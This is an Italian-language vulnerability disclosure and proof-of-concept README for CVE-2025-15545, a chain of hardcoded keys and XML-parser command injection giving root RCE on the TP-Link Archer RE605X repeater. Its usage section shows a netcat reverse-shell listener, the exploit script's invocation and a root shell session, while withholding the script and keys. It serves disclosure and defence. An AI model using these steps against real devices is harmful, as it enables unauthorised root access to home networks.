CVE-2025-15545

Informazioni

Produttore: TP-Link
Sito web del produttore: TP-Link
Modello: Archer RE605X
Versione hardware: RE605X v3.0
Versione firmware: RE605X(EU)_V3_1.1.5 Build 20240905
Indirizzo di download del firmware: TP-Link

Una catena di vulnerabilità — incluso l'uso di chiavi crittografiche hardcoded e un'iniezione di comandi nel componente parser di configurazione XML — consente a un attaccante locale autenticato di ottenere l'esecuzione remota di codice (RCE) come root sul dispositivo.

Requisiti PoC

Nota: La proof-of-concept exploit.py dimostra uno scenario di attacco a catena e richiede le credenziali di un utente autenticato come prerequisito aggiuntivo. Questa fase di autenticazione non è coperta da CVE-2025-15545 ed è inclusa solo a scopo dimostrativo.

• Sia l'attaccante che la vittima devono essere connessi alla rete locale del ripetitore.
• La vittima deve essere autenticata al pannello di controllo web del ripetitore.

Utilizzo

Mettersi in ascolto per connessioni in entrata su un terminale separato:

$ nc -lvnp 4444

Eseguire lo script exploit.py:

$ sudo python3 exploit.py <interface> <victim_ip> <repeater_ip> <aes_key> <aes_iv>

Nota: aes_key e aes_iv sono le chiavi crittografiche hardcoded utilizzate dal dispositivo per la cifratura e la decifratura dei file di configurazione e sono necessarie per questa proof of concept. Per motivi di sicurezza non possono essere condivise qui.

La reverse shell viene ricevuta sul primo terminale:

$ nc -lvnp 4444

Connection from 192.168.0.254:42762
# ls
cgi-bin
index-notice.html
index-url.html
index.html
webpages
# id -un
root
# uname -n
OpenWrt

Riferimenti

Queste vulnerabilità sono state segnalate da Nicola Giuffrida.

• Writeup completo: https://nico-security.com/posts/cve-2025-15545
• Record CVE: https://www.cve.org/cverecord?id=CVE-2025-15545
• Advisory TP-Link: https://www.tp-link.com/us/support/faq/4929